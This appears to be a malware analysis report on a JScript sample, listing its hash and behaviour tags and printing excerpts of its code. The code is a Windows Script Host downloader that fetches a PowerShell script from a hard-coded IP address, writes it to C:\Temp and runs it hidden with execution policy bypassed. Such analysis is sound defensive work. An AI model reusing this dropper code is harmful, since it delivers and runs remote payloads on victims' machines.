423195674JgNHFdvtr5.js
Downloads and executes encrypted payload
WSH downloads via XMLHTTP writes via FSO and executesWSH downloads, writes and launches a policy-bypassed PowerShell script
SHA-256d8be0a40144c40349a343372eaa7e3fd7531dcfbd5ae198d5795edc3fbee8406
Evidence
1(function (global) {
2 'use strict';
3
4 // ─── Defaults ────────────────────────────────────────────────────
5 var DEFAULTS = {
6 address: 'http://204.44.69.221/D/SIR.ps1',
7 directory: 'C:\\Temp\\',
8 maxAttempts: 2
9 };
10
11 // ─── DropKit constructor ─────────────────────────────────────────
12 function DropKit(options) {
13 this._cfg = DropKit.merge(DEFAULTS, options || {});
14 this._fs = new ActiveXObject('Scripting.FileSystemObject');
15 this._sh = new ActiveXObject('WScript.Shell');
16 this._http = new ActiveXObject('MSXML2.XMLHTTP');
17 this._log = [];
18 }
19
20 // ─── Static helpers ──────────────────────────────────────────────
21 DropKit.merge = function (base, over) {
22 var out = {}, k;
23 for (k in base) if (base.hasOwnProperty(k)) out[k] = base[k];
24 for (k in over) if (over.hasOwnProperty(k)) out[k] = over[k];
25 return out;
26 };
27
28 DropKit.guard = function …
61:41… n () {
62 if (!self._fs.FolderExists(dir)) self._fs.CreateFolder(dir);
63 self._note('dir ok: ' + dir);
64 return self;
⋯4 lines
69:50… ess, tries = this._cfg.maxAttempts;
70 for (var i = 0; i <= tries; i++) {
71 var body = DropKit.guard(function () {
72 self._http.open('GET', url, false);
73 self._http.send();
74 return self._http.status === 200 ? self._http.responseText : null;
75 }, null);
76 if (body) {
⋯8 lines
86:34… ull;
87 var path = this._cfg.directory + DropKit.tag() + '.ps1';
88 var ok = DropKit.guard(function () {
89 var f = self._fs.CreateTextFile(path, true);
90 f.Write(script);
91 f.Close();
⋯9 lines
101 if (!path) return false;
102 return DropKit.guard(function () {
103 self._sh.Run('powershell.exe -nop -ep bypass -file "' + path + '"', 0, true);
104 self._note('launched');
105 return true;
⋯7 lines
114:18… path) return false;
115 return this.launch(path);
116 },
117
⋯7 lines
125 kit.run();
126
127 // ─── Exposed interface (compatible with original) ────────────────
128 global.ScriptAPI = {
129 run: function () { return kit.run(); },
130 config: fun …